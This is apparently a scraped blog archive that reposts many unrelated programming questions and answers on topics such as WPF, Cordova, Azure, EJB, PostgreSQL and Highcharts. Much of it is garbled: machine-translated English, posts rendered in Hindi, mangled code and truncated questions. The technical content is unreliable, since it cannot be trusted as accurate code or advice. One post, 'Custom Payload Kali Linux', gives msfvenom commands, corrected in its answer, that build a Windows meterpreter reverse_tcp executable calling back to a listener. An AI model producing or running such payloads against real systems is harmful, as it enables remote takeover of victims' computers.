Posts

Showing posts from March, 2010

prism - Expander in wpf with icon button -

I have an expander without needing the wpf expander icon, I need an expander as the icon title on the right (notes icon In that form I have to drag and drop it on the chart lines and have to do it as small notes. and replace the control area for the default extension. you can find it . You use the template found on the website and insert your notes icon somewhere in the (header section). Just play with it and you will find that it's not easy to customize. Have fun!

How to store data files permanently and locally only with iOS 5+ and Cordova 3.5? -

I would like to store some data files in a fairly stable location, which should not synchronize With iCloud The following Cordova documentation, cordova.file.cache directory is my best choice: cordova.file.cache directory - The directory for cached data files or any such files that your app can easily reconstruct, the OS can erase these files when the device goes down on storage, however, the files here Do not trust the OS to delete To control accessibility, I check the size of the data synchronized by iCloud: Install and launch your app Setting & Gt; ICloud & gt; Storage & amp; Backup & gt; If necessary, tap "Show all apps" Well, my app is always very heavy ... config.xml & lt; Priority name = "Backup vibstorage" value = "none" /> & Lt; Priority name = "iosPersistentFileLocation" value = "library" /> Javascript function onDevice Readie () {window.request...

c# - Resolving multiple conflicting versions of System.Web.Mvc when using NuGet as package source -

Image
I have a project to find several versions of the same assembly. System.Web.Mvc For example: I want to make sure that our MVC projects will never get the old code from anywhere except the Nugget formulas. I know that this is not a good idea to go about removing disputed versions from the system because many applications can be based on them. For example, it was found in a C: \ Program Files (x86) update: Since we are using NuGet , I changed it: Project & gt; Properties & gt; Build & gt; Output & gt; Output path: to C: \ temp \ drop in each project (we also have some portable area classroom library projects) and then Project & gt; Properties & gt; The reference path was added and the C: \ temp \ drop and the problem went away. Is this the right way to go about this or this I am just opening another on the insects here? Checking the assembly binding and related, it is quite good: Check it also. The strongly nomina...

sharepoint - Sharepoint2010 - How to show latest Announcements from sub-sites onto main site -

We have configured a SharePoint 2010 main site for all corporate users and the need for a sub-departmental sub-site for each department For example, In the company, there are various announcements of each department of human resources, finance, operations and other related departments, which should be shown in the annualization web site of the main site. Can any person suggest that how we can announce the latest announcements from each subsites on the Web portal announcing the main site? You can use the content query web part in the tool query, you can customize your query Are there.

ejb 3.0 - EJB3.0 transaction fail inside a method in successive transaction taking place -

I am processing three transactions within the same method in the stateless container managed bin. I want to continue three transactions, while one throws an exception, the other two should complete their respective deals, the error is that if the first or any other one is throwing exception, please implement some two useful suggestions. Public zero allocateSubjectToStudent throws exceptions (SubjectAllocatedToStudentDto DTO) {logger.info ("allocateSubjectToStudent method entry:"); & Lt; Subject & gt; CoreList = dto.getCoreList (); Iterator & LT; Subject & gt; Iterator = coreList.iterator (); While (iterator.hasNext ()) {logger.info ("when inside:"); Topics based on Confirmation Bo = new topic unapproved proofer (); Bo.setBacthId (dto.getBacthId ()); Bo.setSemester (dto.getSemester ()); Bo.setStudentId (dto.getStudentId ()); Subject subject = iterator.next (); Bo.setSubjectName (subject.getSubjectName ()); Bo.setSubjectType (subject.getAbatible...

Java ServerSocket and HttpServer -

I want to implement client server communication that receives data in the appropriate amount. (~ 50MB) Should I apply a lasting end by using ServerSocket or HttpServer ? Thank you. Mainly it depends if you want to communicate using the customer or you have a simple TCP / IP> In order to simplify the execution of both solutions,

convert python to c++ -

I want to translate the following Python code into C ++ Can someone help me ?? # - * - coding: UTF-8 - * - print ("Hello") FECHER = OPEN ('S9.9TT', 'R') CSMF = Open Ligne = ligne = 32] + ligne [33] + ligne [34] + ligne [35] if ((id_can == '01a7 ') for ligne = ligne = 19_MEF.txt', 'w') for ligne = ) Or (id_can == '01a8')): X = int ("0x" + ligne [44] + ligne [45] + ligne [41] + ligne [42], 16) if x> 0x7FFF: x - = 0x10000 x = float (x) /17.5xd = float (x) * 57.29578 y = int ("0x" + ligne [50] + ligne [51] + ligne [47] + ligne [48] 16) If y & gt; 0x7FFF: y - = 0x10000 y = float (y) / 17.5 yd = float (y) * 57.29578 z = int ("0x" + ligne [56] + ligne [57] + ligne [53] + ligne [54] 16) If z & gt; 0x7FFF: z - = 0x10000 z = float (y) / 17.5 zd = float (z) * 57.29578 # print ("0x" + ligne [50] + ligne [51] + ligne [47] + ligne [48]) chain = "Id =" + id_can + "x =" +...

android - ListView header - different margin -

Image
I am creating a layout with a listview and some other ideas I want the full layout to scroll through the list , So I'm adding other scenes as headers. The problem is that there is some margin in my list view, which also applies in the header. So that the header looks like this - List View & lt; LinearLayout xmlns: android = "http: // schema .android.com / apk / res / android" Android: orientation = "vertical" Android: layout_width = "match_parent" android: layout_height = "match_parent" Android: background = "@color / Background_color "& gt; & Lt; Android: layout_width = "match_parent" Android: layout_height = "wrap_content" android: layout_marginRight = "10dp" Android: layout_marginLeft = "10dp" Android: Scrollbar = "none" Android: id = "@ + id / lvProfileAddresses" Android: Android: cacheColorHint = "@color / background_color" andr...

Azure Table Storage upgrade -

मेरे पास एक एज़्यूर टेबल स्टोरेज है जो निम्न इकाई से है: नमूनाइंटिटी: टेबलइन्टीटी {सार्वजनिक इंट एम्पायरइड {प्राप्त; सेट;}} और मैंने तालिका में 100 रिकॉर्ड डाला है। अब मेरे पास आवश्यकता में परिवर्तन है कि कर्मचारी आईडी स्ट्रिंग होना चाहिए। इसके अलावा मुझे मौजूदा 100 अभिलेखों को हटाया नहीं जाना चाहिए। इसलिए मैंने मौजूदा नमूनाइन्टीटी को निम्नानुसार बदल दिया है: नमूनाइंटिटी: टेबलइन्टीटी {सार्वजनिक स्ट्रिंग EmployeeId {get; सेट करें;}} और मैंने तालिका में 50 पंक्तियों को कर्मचारी के रूप में स्ट्रिंग के रूप में डाला है। अब जब मैं नया नमूनाएनेंटिटी के साथ टेबल पर गेटऑपरेशन करता हूं स्ट्रॉन्ज़ कर्मचारी आईडी), मुझे 150 पंक्तियाँ मिल रही हैं, लेकिन पुरानी नमूनायंटिटी का उपयोग करके पहली 100 पंक्तियों में EmployeeID के मूल्य 0 थे। दूसरी ओर अगर मैं पुरानी नमूनाईटिटी पर स्विच करता हूं और एक GetOperaiton करता हूं, मुझे नई नमूनाई का उपयोग करके 50 पंक्तियों के लिए EmployeeID के लिए रिक्त मूल्य मिलते हैं। मैं स्ट्रॉम्स में EmployeeId के लिए मूल्यों के साथ सभी 150 पंक्तियों में से ...

post - Postgresql 9.2 execute pg_dump command issue -

Image
इस सवाल का पहले से ही एक उत्तर है: 9 जवाब मुझे कमांड पोस्टग्रेज़ डेटाबेस। मैं कमांड को सफलतापूर्वक निष्पादित कर सकता हूं लेकिन कमांड को निष्पादन के लिए पासवर्ड दर्ज करना है। तो मुझे प्रवेश पासवर्ड से बचने के लिए क्या करना चाहिए। नीचे दिए गए आदेश हैं: pg_dump -i -h स्थानीयहोस्ट-पी 5432 -यू पोस्टग्रेज़ -F सी-बी-वी सी: \ PostgreSQL \ PostgreSQL \ bin \ Data.backup "DB_NAME कृपया मुझे बताएं कि मुझे क्या करना चाहिए? अग्रिम धन्यवाद। आपको pg_hba.conf को अपने PostgreSQL सर्वर में बदलना होगा, यदि आपका pgAdmin का उपयोग करना है तो उपकरण & gt; सर्वर कॉन्फ़िगरेशन -> पर जाएं ; Ph_hba.conf और ticked को बदलने के लिए विश्वास और पुनरारंभ करें पोस्टग्रेएसक्यूएल सर्वर मैं आपको MD5 का उपयोग करने की सलाह देता हूं -w --no-password कभी भी पासवर्ड प्रॉम्प्ट जारी नहीं करें यदि सर्वर को पासवर्ड प्रमाणीकरण की आवश्यकता होती है और किसी अन्य माध्यम जैसे .pgpass फ़ाइल द्वारा पासवर्ड उपलब्ध नहीं है, तो कनेक्शन का प्रयास विफल हो जाएगा। यह विकल्प बै...

AngularJS - Basic ng-repeat with ng-switch -

I have simple ng-repeat, which displays a list of conditions I current ng - Doubling: & lt; Td ng-repeat = "mystatus status in history. Salis (0, 12)" & gt; {{MyStatus}} & lt; / Td> With NG-switch: Error & lt; / Span & gt; & Lt; / TD & gt; However, nothing above is displayed on the NG-switch. Works at my end, it But as a suggestion I prefer to use the function expression instead of the NG-switch. & lt; Td ng-repeat = "myStatus in history.Status.slice (0, 12)" & gt; & Lt; Period & gt; {{GetStatus (myStatus)}} & lt; / Span & gt; & Lt; / TD & gt; getStatus is a function that will return the required information.

Custom Payload Kali Linux -

रूट @ काली: ~ # msfvenom windows / meterpreter / reverse_tcp LHOST = 192.168.49.128 LPORT = 12345 -f exe एसटीडीआईएन से पेलोड को पढ़ने का प्रयास करना ... आपको कस्टम पेलोड के लिए एक मेक का चयन करना होगा मैं कुछ समय के लिए googling गया है, कोई सकारात्मक परिणाम नहीं। क्या कोई मुझे बता सकता है कि 'कस्टम पेलोड के लिए आपको एक मेक का चयन करना होगा' यदि आप एमएसफ़ेंनम में जाते हैं तो यह मदद लाएगा। आपको आर्किटेक्चर सेट करने के लिए कमांड दिखाई देगा '-a' जिसे आप x86 या किसी अन्य आर्किटेक्चर पर सेट करना चाहते हैं। इसलिए आपका आदेश msfvenom windows / meterpreter / reverse_tcp LHOST = 192.168.49.128 LPORT = 12345- एक x 86 -f exe & gt; Yourexploit.exe लेकिन आप वास्तव में अपने पेलोड विवरण के सामने '-p' शामिल करके पेलोड को निर्दिष्ट करने की आवश्यकता रखते हैं, इसलिए आपका आदेश msfvenom -p windows / meterpreter / reverse_tcp LHOST = 192.168.4 9 .28 LPORT = 12345- एक x 86 -f exe & gt; Yourexploit.exe यह शिकायत कर रहा है कि कोई प्लेटफ़ॉर्म चुना नहीं गया है, ...

android - How to post pameters with authentication in http post with specific key values pair? -

कोशिश {स्ट्रिंग auth = android.util.Base64.encodeToString ((â ???? USERNAMEâ ???) ? + ":" + ए "पासवर्ड पासवर्ड ??)। मिलवेट्स (" यूटीएफ -8 "), एंड्रॉइड.उटील। बेस 64.NO_WRAP); एचटीटीपीएआरएमपीपीआरएमएआरटी = नया बेसिक एचटीपीपीएआरएम (); एचटीटीपी पोस्ट अनुरोध = नया एचटीटीपी पोस्ट (यूआरएल +++ एक्शन = एक्सचेंज = xxx); Request.addHeader ("प्राधिकरण", "बेसिक" + auth); HttpParameters.setParameter ("पासवर्ड", "xxxx"); HttpParameters.setParameter ("ईमेल", "XXXxxxx"); एचटीटीपीकनेक्शनपरम्स.सेटसाइटटाइमेट (एचपीपरैमेटर्स, एसओसीईईईटीआईआईओयूयूटीएमएसएमएस); एचटीटीपी क्लाइंट क्लाइंट = नया डिफ़ाल्ट एचटीटीपी क्लाइंट (एचपीपरैटर); HttpResponse प्रतिक्रिया = client.execute (अनुरोध); स्ट्रिंग userAuth = EntityUtils.toString (response.getEntity ()); लॉग। I ("", "प्रवेश में डेटा।" + UserAuth); } पकड़ (अपवाद ई) {Log.i ("", "त्रुटि .." + ई); } यहां, मैं इसे सेट करता हूं लेकिन आउटपुट पैराम...

c - How to know which variable value is set for union? -

I am working on optimizing a project. There is an alternative framework in which the user can choose one option at a time. In addition to the option, we can also use a flag variable which option value is set for this record. To make it memory efficient, I want to change the structure in a union. But how do I know that the variable value is set in Union because there is no restriction on bringing the value of one variable in the union, which is not set. struct options {int basicPay; Int lmosm pe; Int Mothali Pe; Int weekly payments; Int Daily Pay; Intal Pai; Int petip; // Which option is selected to check the flag variable}; Union optimization optimization {int basicPay; Int lmosm pe; Int Mothali Pe; Int weekly payments; Int Daily Pay; Intal Pai; Int petip; // confused here); You entered union inside struct ? Let's look at the following example equivalents: union option {int basicPay; Int lmosm pe; Int Mothali Pe; Int weekly payments; Int Daily Pay; Intal Pai; }; ...

git branch - How to use Git for branches with very similiar code -

I have a project in git and there are two branches in which almost one code is basically two versions of the hardware unit There are codes to communicate with most codes are the same but there are differences due to changes in the underlying hardware For some other reasons, we do not want to merge two branches in one and " And if version B is a bit different ... "build We do. So every time we make "global" changes, we have to make it in both the branches. It may be disturbing, but with the help of Tortoiseit and its merge tool, it is a quick task to transfer changes from branch to branch and I am afraid that there is no mechanism in GIT which will make it easier. But what do I want to do at least GIT (Log In Log) know that both of these branches have been "conceptually merged". Is there any way to do this? For perfection - this is a delphi project, but I do not think it is relevant to the problem. I will track branches from each other. Creat...

java - How to display output in servlet when invoking a method dynamically -

I am trying to load a class dynamically and calling it one of its own method from Servlet I am In my service I have the following code: PrintWriter out = response.getWriter (); {Class & lt;? & Gt; Obj = Class.forName (myclassName); Method method = obj.getClass (). GetMethod (myMethodName); String Return Value = (string) method.invoke (obj, null); Out.println (returnValue); } Hold (exception E) {} and in my class: public class student class {public string index () {return "it is From the student class "; }} The problem is that when I run my application it does not show anything it is from the student class to get the output as Hopefully, that's basically returning the class of the index method. Can you please tell me how to solve this problem? Your incoming usage is incorrect: class & lt ;? & Gt; Obj = Class.forName (myclassName); // It returns a class, not an example method method = obj.getClass (). GetMethod (myMethodName...

c# - Execute code before/after every controller action -

I have an ASP.NET MVC application for which I want to log events. I already have a log class with all the tools needed, but I have to close it immediately and close it (because this opens the file, so I can not depend on GC). My actions look like this: public performance menmanu () {CreateLog (); // Controller luggage log (message); // More Controller Accessories CloseLog (); See Return (MMDell); } or I can use the block by using , but this will be a little less intrusive and it will cause problems with exception handling. I've read about the action filter , which I could use to create and close my logs, but then there would be no way to reach the log object within the method. Do you have any suggestions? How can I avoid repeating the code? If other suggestions do not work or if you just need to do things other than logging Also, keep in mind that you can override the OnActionExecuting method (often in a base class for reuse). // Custom Controller Public Catego...

sql - Where do I put the collation clause? -

Text after "div class =" itemprop = "text"> Please see the query below: Select IDNumber as ciscrimeurn as opposed to SQL_Latin1_General_CP1_CI_AS, In the form of WID nicheoccurrenceid, projection filing non enococurrenceFilo FOR [RMSLiv \ sql2005]. NICRMS_Lite.WTLLOSOSO.SIICIIINNIIINNNIRISLSL SISIS Ciscrimeurn, id as nicheoccurrenceid, occurrencefileno as nicheoccurrencefilno fROM [rmslive \ sql2005]. NICRMS_Live.dbo.tbl_goccurrence WHERE ID '9 030 9955%' Unlike ', compile CISIDNumber except SQL_Latin1_General_CP1_CI_AS, OccurrenceID, OccurrenceFileNo FROM dbNicheCIS There are separate matches for NIHRMS_Live and DBNCH . Both are SQL Server databases. ciscrimeurn, a varchar is nicheoccurrenceid is a decimal and OccurenceFileNo is an integer. I do not understand where to put the match segment. itemprop = "text"> after you want to change the column matching SELECT columnName COLLATE COLLATION_NAME From PhoneName

c# - calling a server side function from javascript without using ajax -

I am trying to do the following: function redirection contact (contactId) { Var enc = & lt;% = QueryStringModule.Encrypt ("cont =" + contactId)%>; Warning (ENC); //window.location = "Contact / AddEditContact.aspx"; } a query module Encrypt is a function inside a c # class , the page is saying an error: The name 'ContactId is not present in the current context You will not be able to pass your javascript variable ( contactId ) to the C # method, for example, Generate Generic Web Handler (.asx) and pass your contact ID through AJAX and return whatever you expect from your encrypt call. Receive / div>

c# - Costumize DbContext using connection string from ServiceConfiguration (Azure) -

I'm using the unit-outline code first approach and I have custom DbContext I have my connectionstring ServiceConfiguration.Cloud .cscfg and ServiceConfiguration.Local.cscfg files are defined in Public CustomContext ():. The base ("dbActivity") {... When executing the above code, it tries to check the ServiceConfiguration file from my web.config and not a blue solution Update:. Here is my connectionstring in the ServiceConfiguration file: & lt; Configuration Settings & gt; & Lt; Setting name = "Microsoft.WindowsAzure.Plugins.Diagnostics.ConnectionString" value = "UseDevelopmentStorage = true" /> & Lt; Installation name = "dbActivity" value = "server = TCP: xxx.database.windows.net, 1433; database = ra; user id = user, password = password; trusted_Connection = false; encrypt = true; connection timeout = 30," / & Gt; & Lt; / ConfigurationSettings & gt; Exception: No connection string ...

java - How to throw RuntimeException deliberately? -

मान लें कि मेरी टोपोलॉजी यह सरल है: टॉउट - & gt; बोल्ट ए - & gt; बोल्ट बी - & gt; बोल्ट सी और बोल्ट सी डेटास्टोर में डेटा संग्रहीत करता है। अब जब डेटा संग्रहीत करने में कुछ अपवाद हो तो रनटाइम एक्सपैशन को फेंकना उचित है? ऐसा कुछ: try {डेटास्टोर प्रबंधक.इन्सर्ट (myData); } पकड़ (अपवाद ई) {नए रनटाइम अपवाद (ई); } क्या मुझे सिर्फ एक असफलता को फेंकना चाहिए और टोपोलॉजी को ट्यूपल करने का पुन: प्रयास करना चाहिए? क्या अच्छा अभ्यास होना चाहिए? मैंने किया जानबूझकर एक रनटाइम एक्सपैशन यहां फेंकने में कोई नुकसान नहीं दिखाई देता है क्योंकि जब ऐसा होता है, तो वर्तमान कर्मचारी थ्रेड मर जाता है और चूंकि एसीके को टोपोलॉजी द्वारा नहीं मिला था, टपल को किसी अन्य कार्यकर्ता को फिर से करने की कोशिश की जाती है, जिसके परिणामस्वरूप एक ही समग्र उत्पादन होता है टोपोलॉजी पर कुछ बढ़ाए गए लोड के लिए एक असफल अपवाद को छोड़कर फेंक कर। RuntimeException से विस्तार सार्वजनिक डेटाएक्साशन रनटाइम एक्सपैशन {} का प्रयास करें {datastoreManager.insert (myData); } पकड़ (अपवाद ई) {नए डेटाई...

Matlab: Transfer variable from GUI to Base Workspace and new Variables (Static Workspace, Script, Creating new Variables) -

I am developing a GUI for the current script, which expects some straight values ​​in the base workspace. The GUI will move users' values ​​to the base-workspace and then the script will start and close itself immediately. It sounds very easy and has values ​​that run with Essenin and Evelyn, but I work for days with the problem that if the script takes the values ​​of my post, then I get a message: Try to add var_name View MATLAB programming for static workspace details, see restrictions on assigning at variables. What's the problem? The GUI is closed and the script will use the base-workspace without restriction. How can this be done? The script is untouchable (not mine) and this base expects variables in the workspace, so the GUI is moving the value in the workspace and nothing else. A stable workspace is not required Workspaces will be free of any restrictions. To summarize: I want to delete "Static" in the "static workspace" Specifies the...

php - Behat run again a scenario programmatically -

itemprop = "text"> After a question on staxahovarflow Ian, there was a solution nearby to deal with the parameter. This is fine for the environment, but for the country's parameters I'm a little confused I have such a specialty: Scenario outline: If the first link Checks if I'm on the website & lt; Country & gt; "Then I click on the first link by going to the URL" my-url ": Example: | Country | | United States | IT | I have it, and now I do something like that I want to: env = "stg" country = "US, IT" php53 bin / Behat --suite = mySuite but a scenario outline Together, the entire scenario is run for each country. I want to do the same thing, but with a list of criteria in the country. It may be that after the hook, Can I again run my whole scenario with a different configuration? Thanks! This is unfortunately not possible with standard equipment, without at least one headache and rewinding th...

.net - Creating a new Queue Manager and Queue in Websphere MQ (using C#) -

"itemprop =" text "> I am writing applications that use WebSphere MQ to send messages. My unittests (for flow), I want to verify that I have put the correct message on the response queue. I am trying to figure out how to do this. My main obstacle is that I think it might be scary to clear the queue before running in my queue because the same queue can be used by other applications, I thought a decent solution would be a new line The manager will remove the queue for my solidarity and after using it. So my question is: Is it possible to use C # by using queue manager and queue? After the For future reference and future people, who want to make queues. I thought how to make and remove IBM MQ QE (not quenhers) with PCM messaging. It is not very simple, but it can be done. We have implemented it in a library and it is being used to create and delete commands before and after integration tests. The most important part of the code in this library is shown in the...

html - Chrome CSS Perspective not working on all blocks -

Image
I have some strange behavior on a webshop that I am developing. One of the two points in Google Chrome that should be rotated remains flat. The other has been rotated properly everything works well in Firefox. Any thoughts can be wrong? There are screenshots (Firefox on the right and Chrome on the left side): Here is the relevant HTML and CSS code: & Lt; Div id = "live-preview" class = "live-preview portrait" style = "color: RGB (192, 1 9 2, 192); font-family: Helvetica;" & gt; & Lt; Div class = "bg-image" id = "back" style = "background-image: url (http://www.fastermaster.at//templates/diplombinderei.at/images/material/0.jpg);" Gt; & Lt; Div class = "bg-color" id = "back-bg" style = "background: RGBA (0, 0, 0, 0.498039);" & Gt; & Lt; / Div & gt; & Lt; / Div & gt; & Lt; Div class = "bg-image" id = "spine" style = "back...

Rails 4: where to place Struct? -

Where should I place a simple structure so that every model / controller can use it? Errors = Straight.New (: file_name ,: errors) Right now I'm just defining this structure in every model. You have to place it anywhere in your load path and name the file as 'errors.rb' needed. The best place will probably be within lib , assuming that you have it in your config / application.rb : config Load_paths are added in. Autoload_paths & lt; & Lt; Config.root.join ('lib')

php - Wordpress get custom meta box checkbox checked -

I have a custom custom post type with custom meta box, I can save 3 checkboxes with the meta box. But how do I get data from those checkboxes in my theme? This is my function function social_services ($ post) {// Post using Post Meta Value Other values ​​from our save function in the $ custom = get_post_meta ($ Post-> ID, '_social_services', true); ? & Gt; & Lt; Input type = "checkbox" id = "social_services_soundcloud" name = "social_services []" value = "soundcloud" & lt ;? Php echo (in_array ('soundcloud', $ custom))? 'Check = "check"': ''; ? & Gt; & Gt; & Lt; For label = "social_services_soundcloud" & gt; & Lt; / Label & gt; Soundcloud & lt; Br> & Lt; Input type = "checkbox" id = "social_services_facebook" name = "social_services []" value = "facebook" & lt ;? Php echo (in_array ('facebo...

python - Indexing with DatetimeIndex returning Int64Index? -

I am running in a strange problem with the following versions: Panda: 0.14.1 Python: 3.4.1 :: Anaconda 2.0.1 (x86_64) I have Is a series like the following (available data) & gt; My_series.head () Timestamp 2014-10-14 19:00 00.85000-04: 00 6.4400 2014-10-14 19:00 00: 07.094000-04: 00 6.4400 2014-10-14 19: 00: 07.10 9000- 04: 00 5.9584 2014-10-14 19:00: 07.211000-04: 00 6.2160 2014-10-14 19: 00: 07.410000-04: 00 6.4400 Name: Quantity, dtype: float64 Index is DatetimeIndex : & gt; My_series.index & lt; Class 'pandas.tseries.index.DatetimeIndex' & gt; [2014-10-14 19: 00: 05.861000-04: 00, ..., 2014-10-14 19: 06: 35.307000-04: 00] Length: 2042, Freak: None, Timezone: US / Eastern There are duplicates in the index (and I need those entries): & gt; My_series.index.get_duplicates () & lt; Class 'pandas.tseries.index.DatetimeIndex' & gt; [2014-10-14 23:00 00: 10.825000, ..., 2014-10-14 23: 05: 49.029000] Length: 65, Fr...

javascript - Hide Submit button after send form with load method -

I am creating a form and send a request to another page with it: $ (Document) variant (); Var email = $ ("# email") Val () ($ ("# send"); $ ("# Exp"). Load ("sendmail.php", {text: text, email: email});});}); and my form code: & lt; Ul & gt; & Lt; Li & gt; & Lt; Input type = "text" name = "name" id = "text" /> gt; & Lt; / Li & gt; & Lt; Li & gt; & Lt; Input type = "text" name = "email" id = "email" /> gt; & Lt; / Li & gt; & Lt; Button class = "button" id = "send" & gt; Send email & lt; / Button & gt; & Lt; Div id = "exp" style = "color: green;" & Gt; & Lt; / Div & gt; & Lt; / Ul & gt; How can I submit the button after sending mail? jQuery: $ ( Document) .ready (function () {$ ("# send") Click (function () {var text = $ (...

Can I run a robocopy batch file from NAS1 to NAS2 without my local PC being on? -

I am copying files from my NAS1 drive once per week to my NAS2 drive. I am using "Nova Backpack" but sometimes it does not work correctly. I was wondering if it is possible to run the batch (see below) and close your PC and this still going on? I do not want to use mir / because I want to keep all files, is it possible or any other idea which would be easy? ROBOCOPY \ NAS1 \ Report \ NAS2 \ Backup No, this is not possible. Your PC needs to be on ROBOCOPY .

javascript - Radio buttons group -

I have a radio button group, and if I am checking the 5 radio then trying to show the button I can not do this, here's my code: $ (document) .ready (function () {$ ('# vote_submit_button'). Hide (); var unanswered = new Array (); $ ('table' '(' $ ') .eich (function () {var question = $ (this) .find (' input ') .true (' name '); if (! $ (This } (': Check')) {without unanswered. Push (question);}}); if (unanswered length> gt; 0) {} other {$ ('# please help). Your code document is being prepared $ (function () {$ ('# vote_submit_button) ' $ '(' Input: Radio '). Change (function () {var $ this = $ (this); if ($ this.is (': checked ')) (ARE.pash ($ $ $ $ $ $ $). If it has been answered.) (Answer). (Answer. Length == $ ('Table'). Length) {$ ('# vote_submit_button'). Show ();}}};});

javascript - Dynamically update tooltip date format highchart -

I want to update tooltip date format dynamically. Like button, tooltip date format will be replaced by another button. Check out my HTML: & lt; Div id = "container" style = "height: 300px" & gt; & Lt; / Div & gt; & Lt; Button id = "dateFormate" & gt; ChangeDateFormat & lt; / Button & gt; Click on button in date format% m-% d-% y javascript $ (function () {$ ('# container') HighTart ({xXx: {type: 'datetime'}, tooltip: {xDateFormat: '% Y-% m-% d', shared: true}, plot options: {series: {pointStart: Date.UTC ( 2012, 0, 1), point interval: 24 * 3600 * 1000}}, series: [[Data: [29.9, 71.5, 106.4, 12 9.2, 144.0, 176.0, 135.6, 148.5, 216.4, 95.6, 54.4]}, {Data: [29.9, 71.5, 106.4, 12 9.2, 144.0, 176.0, 135.6, 148.5, 216.4, 19.1, 95.6, 54.4] .reverse ()}]}); }); You can also define the tooltip format in the series, then one Update serie with new format. Example: chart. Series [0] .upd...

jQuery - Select elements by value from array of values -

कुछ सरल JSON को देखते हुए: ["62689", "62690", "62697 " मुझे इन मानों के अनुरूप DOM में तीन तत्वों का चयन करना होगा ( value विशेषता के आधार पर) वे एक & lt; चयन करें & gt; , & lt; इनपुट & gt; , & lt; विकल्प & gt; हो सकता है या वास्तव में कुछ भी आप इस चयन के लिए किस चयनकर्ता का उपयोग कर सकते हैं? आप jQuery का उपयोग कर सकते हैं ऐसे तत्वों का चयन करें, जिनके पास एक निश्चित मान के बराबर एक मान है। उदाहरण के लिए चुनने के लिए तत्व जिसका मान है 62689 , आप उपयोग करेंगे: $ ('[value = "62689"]') तीनों का चयन करने के लिए, आप उपयोग करेंगे: $ ('[value = "62689"], [value = "62690"], [value = "6267"] ') यदि आप इन तत्वों के लिए कुछ विधि लागू करना चाहते हैं और आपके पास सटीक तीन मानों की तुलना में अधिक या कम है, तो आप अपने JSON प्रतिक्रिया के माध्यम से केवल पाश कर सकते हैं और तदनुसार आवेदन कर सकते हैं : var डेटा = ["62689", "62690...

Ruby: why do while and until not return last line they execute from a function? -

I hope the loop of a time comes back to execute the last statement, but does not return a function Does (1) It starts working .. [10] pry (main)> Counter = 0 = & gt; 0 [11] PRI (Main) & gt; A = counter + = 1 while the counter & lt; 10 = & gt; Nil [12] PRI (Main) & gt; A = & gt; 10 (2) This does not work as much as I expected. I hope 10 will be returned and stored in b . [19] Pry (main)> gt; Def increase (Terminal_value) [19] PRI (Main) * Counter = 0 [19] PRI (Main) * While counter & lt; Terminal_Value [19] PRI (Main) * Counter + = 1 [19] PRI (Main) * End [19] PRE (Main) * end = & gt; : Increase in salary [20] PRI (Main)> B = increment (10) = & gt; Nil [21] PRI (Main) & gt; B = & gt; Zero Question: Why, in (1) , does Zero return from the assignment statement? Why was not b assigned to 10 ? Update: Outlined as @DaveNewton, in (1) , I thought I Was doing: one = (counter + = 1 counter while ...

c# - How to detect an external program monitoring your process? -

Is it possible to determine if another program is monitoring your process? What do I mean if I have an XE running here and if someone launches procmon.exe or any other app that tries to read some information about my XI, I want I log in to my exe. This is a huge and complex subject, and I'm only familiar with its existence, not an expert, so I What I can offer is a search term: anti-debugging This monitoring device, detect countermeasures Keep in mind that there is an arsenal race among rivals, which is debugging any and all code running on your system. , And DRM designer 1 , who want to preserve their secrets with curious minds, unless you want to dedicate your life to becoming an expert, you probably will not Which is the solution that buys. Or just to decide that it is not worth it. 1 Even if you think that the owners of the material have moral authority to ban reverse engineering, please meditate Let no one take advantage of protective ambiguity, whi...

How do inject properties or environment variables into my Maven plugin testcase? -

I've created a Maven plugin using and I'm trying to check it out. I'm using to test and I'm having trouble giving injections to values ​​for my plugin parameters. I have the following pom.xml file ( src / test / resources / pom.xml ) for testing: & lt; Project xmlns = "http://maven.apache.org/POM/4.0.0" xmlns: xsi = "http: // www. W3.org/2001/XMLSchema-instance" xsi: schema location = "http: / /maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd "& gt; & Lt; ModelVersion & gt; 4.0.0 & lt; / ModelVersion & gt; & Lt; Group & gt; Com.vodori.pepper.docker.vm.unit & lt; / Group & gt; & Lt; ArtifactId & gt; Test pom & lt; / ArtifactId> & Lt; Version & gt; 1.0-snapshots & lt; / Edition & gt; & Lt; Packaging & gt; Jar & lt; / Packaging & gt; & Lt; Name & gt; Exam VMStarter & lt; / Name & gt; & Lt; Dependency ...

selenium webdriver - How can I set up automated cross-browser testing? -

I'm having trouble setting up support for multiple browsers using cucumber, Kapibra, and selenium WebKit. Despite the browser I specify on the command line, the tests always run in Firefox. Here is the code that I am currently using in my env.rb file: Capybara.register_driver: chrome do | App | Capebara :: selenium :: driver.new (app, browser = & gt;: chrome) end cpbara.register_driver: Internet_explorer do | App | Kapebara :: :: selenium Draivrknu (App ,: browser = & gt ;: Intrnet_aksplorr) and Kapibarakrijistr_drivr: to Seleniam_firfoks | App | Capepara :: Selenium :: driver.new (app ,: browser = & gt;: firefox) & cipibara.register_driver: safari do | App | Capybara :: :: selenium Draivrknu (App ,: browser = & gt ;: Safari): End Driver = case ENV [ 'browser] when' Chrome 'Chrome' Firefox 'Seleniam_firfoks' WebKit ': WebKit when' ie ': Internet_explorer when' Safari 'Safari other: Chrome #: Seleniam_firfoks and...

Creating zip of android project along with its dependencies through gradle -

I have an Android project, which has three separate dependencies (library projects) and I have one project src folder After ziping we are finished with construction. I did the following: Task srcZip (type: zip) {"Project zip" out of zip "project" exclude 'exclusion' out of 'println' 'outside' bin ')' I have to call this task manually to create a zip. It only works when I have to create a zip file of a project that does not include sources of other dependencies (Library Projects). How can I create a ZIP of all sources at a time? Thanks in advance. So I was able to fix the problem on my own, Dependent projects are being copied; Exclude ProjectDear Printline "Support The Zip" from WorkSearchZip (Type: ZIP) {Exclude 'Build' Excluded 'General' to 'Bin' Out)

c# - Dependency injection with Autofac, MVC5 and OWIN not working -

I'm having trouble integrating Autofac with MVC5 and Owin It seems that MVC is leaving AutofacMvc integration And still using System.Web.Mvc.DefaultControllerFactory to instantiate a controller, thus there is no parameter creator defined for this object Alex is a great article on Mayor-Galvus, I followed this, and followed the downloaded packages, But still is not working. Here looks like my startup CC: Public Zero Configuration (IAppBuilder app) {var Container = AutoFac Config Registration (); App.UseAutofacMiddleware (container); // 1 - AutoFac Middleweight (AutoFac.Internation.Onwin DLL) app Setting up Usatophak MVC (); // 2 - On the MVC request made in OVN, the life time scope is going on (Autofac.Integration.Mvc.Owin) DependencyResolver.SetResolver (New AutofacDependencyResolver (Container)); // 3- Configure dependency resolver settings (AutoFac.Inmac. MVC) root for MVC. Registrar (Route. Route); } I checked that my service was registered, if I remove the servi...

javascript - Animating invalid element's nearest divs upon form submission -

